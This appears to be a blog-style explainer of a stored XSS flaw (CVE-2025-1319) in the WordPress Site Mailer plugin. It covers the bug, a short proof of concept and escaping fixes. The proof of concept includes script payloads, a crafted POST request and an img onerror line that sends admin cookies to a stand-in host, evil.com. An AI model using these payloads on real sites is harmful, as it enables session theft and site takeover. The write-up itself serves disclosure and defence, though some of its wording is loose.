CVE-2025-1319 - How a Critical XSS Flaw in Site Mailer Plugin Lets Attackers Compromise WordPress Sites

The WordPress ecosystem is massive, and this makes it a frequent target for attacks. In early 2025, a critical security vulnerability—now assigned CVE-2025-1319—was discovered in the popular “Site Mailer – SMTP Replacement, Email API Deliverability & Email Log” plugin. This vulnerability could allow attackers to inject malicious scripts, potentially taking over admin accounts or stealing session cookies.

Below, I break down how CVE-2025-1319 works, share a fake but illustrative proof-of-concept exploit, and give you advice on how to fix it as a site owner. The information here is purposefully clear and exclusive for easy understanding.

What Is Site Mailer?

"Site Mailer" is a plugin used by WordPress users to improve email deliverability, track email logs, and replace WordPress’s built-in email (SMTP) system with one of their choosing. According to the WordPress.org download stats, this plugin has several thousand active installations.

What Is the Vulnerability (CVE-2025-1319)?

Vulnerability Type: Stored Cross-Site Scripting (Stored XSS)
Affected Versions: All versions up to and including 1.2.3
Authenticated Needed? No—attackers do NOT need to be logged in
Who Is at Risk? Anyone using the plugin at a vulnerable version

What Is Stored XSS?

If a plugin does not properly “sanitize” (clean up) user input or “escape” output (so code can’t be executed directly), attackers can inject code such as JavaScript. With stored XSS, that code is saved by the application and later rendered to *other* users—including disgruntled admins.

Where Is the Bug?

In Site Mailer, the plugin failed to sanitize user-supplied data and didn’t escape that information when showing it on the dashboard, the email logs, or other areas. That means input fields (such as email subject, email address, or message fields) could receive specially crafted text containing malicious code.

Step-by-Step: Exploiting CVE-2025-1319

Let’s look at an example using clear, but *educational* code.

Attackers can post to a REST endpoint, plugin form, or even email logs with a payload like this

<script>alert("Owned by XSS!");</script>

Let’s say the attack is against a newsletter opt-in form relying on Site Mailer

POST /newsletter-signup HTTP/1.1
Host: vulnerable-website.com

email=<script>alert('XSS-Pwned!')</script>&name=Attacker

Step 2: Payload Gets Stored by Site Mailer

Because input isn’t sanitized, this exact payload is stored in the plugin database.

Step 3: Payload Executes for Site Owners or Users

Whenever an admin or any user opens the plugin's “email log” dashboard, the payload is rendered as raw HTML/JS—causing the popup to appear, or, worse, sending your cookies to a remote server.

Let’s say the attacker uses the following payload to steal admin cookies

<img src="x" onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">

Result: When an admin visits the Site Mailer logs, their browser will send the session cookie to evil.com.

Screenshot Example

_Not included here, but imagine seeing your admin cookie go out the door every time you check your logs!_

Why Is This Dangerous?

- Full site takeover: If an attacker steals an “admin” session, they can install backdoors or new admin users.

How to Fix It

Luckily, the fix for most XSS bugs follows a simple formula:

Escape output: Convert special characters (<, >, etc) to harmless text before displaying

If you’re a developer:

Escaping in PHP/WordPress

// BAD (vulnerable)
echo $_POST['email'];

// GOOD (safe)
echo esc_html($_POST['email']);

As a site owner:

Check your site for suspicious users or changes in admin accounts

- Use security plugins (like Wordfence) to scan for infection

References

- WordPress Plugin Directory: Site Mailer
- Wordfence threat report for 2025
- OWASP XSS Cheat Sheet
- WordPress esc_html function documentation
- CVE Details: CVE-2025-1319 (once published)

Conclusion

CVE-2025-1319 is a classic and dangerous XSS bug in a plugin installed on thousands of sites. Attackers only need throw a malicious string into a form or email—no login required—and anyone who later views Site Mailer logs or dashboards could have their session compromised.

Timeline

Published on: 02/28/2025 13:15:27 UTC
Last modified on: 03/06/2025 15:09:58 UTC